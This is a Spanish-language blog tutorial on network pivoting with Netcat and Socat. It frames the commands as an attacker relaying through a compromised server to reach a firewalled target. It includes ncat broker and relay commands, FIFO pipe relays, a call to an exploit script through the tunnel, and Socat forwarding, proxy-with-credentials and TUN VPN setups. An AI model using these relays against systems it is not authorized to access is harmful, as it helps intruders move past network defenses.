Taller de pivoting: Netcat y Socat

No podía faltar entre estas entradas de pivoting una dedicada a Netcat, la navaja suiza de TCP/IP, y su homólogo "con esteroides" Socat.

Netcat

Empecemos con Netcat que, aunque puede hacer muchas cosas, tiene como objetivo y función principales:

- Crear un socket inicial para establecer una conexión desde el servidor al cliente.
- Una vez conectado, generar automáticamente un segundo socket para transmitir archivos desde el servidor al cliente y viceversa (realmente esa es la parte sexy)

Y volvemos al escenario típico de pivoting, en el que el atacante compromete un equipo que tiene acceso a través del firewall a otro servidor que también queremos atacar:

En la máquina del atacante configuraremos un relay listener-to-listener usando el siguiente comando:




# ncat -lv --broker -m2 10000
Ncat: Version 6.01 ( http://nmap.org/ncat )
Ncat: Listening on :::10000
Ncat: Listening on 0.0.0.0:10000

En este momento, tendremos levantado el puerto 10000 en nuestra máquina. Luego, en el servidor comprometido ejecutaremos el siguiente comando:

$ ncat -v 192.168.2.42 10000 -c "ncat -v 192.168.33.15 20000"
Ncat: Version 5.51 ( http://nmap.org/ncat )
Ncat: Connected to 192.168.2.42:10000.
Ncat: Version 5.51 ( http://nmap.org/ncat )
Ncat: Connected to 192.168.33.15:20000.

Ojo porque esa comando es para la versión netcat-traditional. En Ubuntu y en muchas distros de Linux encontraremos por defecto la versión netcat-openbsd. Si queremos la tradicional tendremos que instalarla específicamente y seleccionarla con update-alternatives:

sudo apt-get install netcat-traditional
sudo update-alternatives --config nc

O si deseas utilizar la versión openbsd también podrás hacer la redirección por medio de una tubería fifo:

mkfifo backpipe
nc -l 12345 0<backpipe | nc www.google.com 80 1>backpipe

Una alternativa que funciona en bash en OS X es usar una tubería o pipe bidireccional. Puede funcionar en otros sistemas Unix:

nc 127.0.0.1 8000 <&1 | nc -l 8001 >&0

Después podremos ejecutar en la máquina del atacante:

# ./exploit.py 127.0.0.1 10000
[+] sending payload of length 1479


Socat

Ahora continuaremos con Socat, una utilidad similar a Netcat que funciona a través de una serie de protocolos y de archivos, tuberías, dispositivos (terminales o módems, etc.), conectores (Unix, IP4, IP6 - raw, UDP, TCP), un cliente para SOCKS4 , proxy CONNECT o SSL, etc. Proporciona forking, logging y dumping, diferentes modos de comunicación entre procesos y muchas más opciones.

Empezaremos haciendo un simple túnel para el reenvío de un puerto:

socat TCP4-LISTEN:10000,reuseaddr,fork TCP4:192.168.33.15:20000

La opción reuseaddr permite que otros sockets se vinculen a una dirección incluso si socat ya la usa (por ejemplo, el puerto local). Con la opción fork después de establecer una conexión, lleva su canal a un proceso secundario y mantiene el proceso principal intentando producir más conexiones, ya sea escuchando o conectando en un loop.

Luego si tenemos un proxy delante podemos "indicar" a socat que lo utilice, incluso con las crendenciales correspondientes si ya las tenemos:

socat TCP4-LISTEN:10000,reuseaddr,fork  PROXY:servidor_proxy:192.168.33.15:20000, proxyport=3128, proxyauth=user:pass

Con el siguiente comando configuraremos un sencillo reenviador de puertos TCP. Con TCP4-LISTEN escuchamos en el puerto local "www" hasta que llegue una conexión y se acepte.
 
socat -d -d -lmlocal2 TCP4-LISTEN:5666,bind=192.168.2.42,su=nobody,fork,reuseaddr TCP4:192.168.33.15:5432

Como veis, el servicio que se ejecuta en 192.168.2.42:5432 es reenviado a 192.168.33.15:5666. Los parámetros -d -d imprimen mensajes calificados como fatal, error, warning y notice y con -lmlocal2 socat loggea a stderr.

Finalmente, usaremos dos instancias de socat para generar dispositivos TUN en diferentes hosts y conectar ambos lados como si fuera una sencilla VPN.

TUN Server
socat -d -d TCP-LISTEN:11443,reuseaddr TUN:192.168.255.1/24,up

Después de iniciar este comando, socat esperará una conexión y luego creará un pseudo-dispositivo de red TUN con la dirección 192.168.255.1; el número de bit especifica la máscara de la red que se pretende conectar en esta interfaz.

TUN Client
socat TCP: 192.168.33.15:11443 TUN: 192.168.255.2/24, up

Con este último comando se establece una conexión con el servidor y se crea el dispositivo TUN en el cliente.

Via: www.hackplayers.com
Taller de pivoting: Netcat y Socat Taller de pivoting: Netcat y Socat Reviewed by Anónimo on 20:16 Rating: 5